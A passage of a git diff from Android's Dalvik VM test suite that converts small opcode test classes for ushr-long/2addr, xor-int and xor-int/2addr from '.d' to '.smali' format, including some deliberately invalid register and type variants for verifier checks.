+.class public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_4;
+.super Ljava/lang/Object;
+.source "T_ushr_long_2addr_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JI)J
+    .registers 4
+
+    const p1, 0x4640e400    # 12345.0f
+
+    ushr-long/2addr p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.d
deleted file mode 100644
index 12e930c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_5.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long/2addr v1, v0
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali
new file mode 100644
index 0000000..eb5e735
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v0
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.d
deleted file mode 100644
index 0d1898a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_6.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 4
-
-       ushr-long/2addr v1, v4
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali
new file mode 100644
index 0000000..1b073b5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 4
+
+       ushr-long/2addr v1, v4
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.d
deleted file mode 100644
index b645617..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_ushr_long_2addr_7.java
-.class public dot.junit.opcodes.ushr_long_2addr.d.T_ushr_long_2addr_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 6
-
-       ushr-long/2addr v2, v4
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali
new file mode 100644
index 0000000..2285e0c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_ushr_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/ushr_long_2addr/d/T_ushr_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 6
+
+       ushr-long/2addr v2, v4
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.d
deleted file mode 100644
index 2c2fbfb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_1.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int v1, v1, v2
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali
new file mode 100644
index 0000000..83fce63
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_1.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.d
deleted file mode 100644
index 339a3e9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       move v1, v2 
-       const-wide/16 v2, 12345
-       xor-int v1, v1, v2
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali
new file mode 100644
index 0000000..fcb494a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       move v1, v2 
+       const-wide/16 v2, 12345
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.d
deleted file mode 100644
index b733277..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_3.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int v1, v1, v0
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali
new file mode 100644
index 0000000..9bdc351
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_3.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v0
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.d
deleted file mode 100644
index 879afe5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_5.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       xor-int v1, v1, v2
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali
new file mode 100644
index 0000000..80b44c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_5.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       xor-int v1, v1, v2
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.d
deleted file mode 100644
index 0768d87..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_6.java
-.class public dot.junit.opcodes.xor_int.d.T_xor_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int v1, v1, v3
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali
new file mode 100644
index 0000000..1b20765
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int/d/T_xor_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_6.java"
+.class  public Ldot/junit/opcodes/xor_int/d/T_xor_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int v1, v1, v3
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.d
deleted file mode 100644
index 561db60..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_1.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali
new file mode 100644
index 0000000..533be9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.d
deleted file mode 100644
index 7d19a9b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_2.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide/16 v2, 12345
-       xor-int/2addr v1, v2
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali
new file mode 100644
index 0000000..9576ac71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide/16 v2, 12345
+       xor-int/2addr v1, v2
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.d
deleted file mode 100644
index f51a717..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_3.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       xor-int/2addr v1, v0
-       return v1    
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali
new file mode 100644
index 0000000..1cab126
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_xor_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       xor-int/2addr v1, v0
+       return v1    
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.d
deleted file mode 100644
index cc64eb3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_xor_int_2addr_4.java
-.class public dot.junit.opcodes.xor_int_2addr.d.T_xor_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       xor-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali
new file mode 100644
index 0000000..8a5bde0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/xor_int_2addr/d/T_xor_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
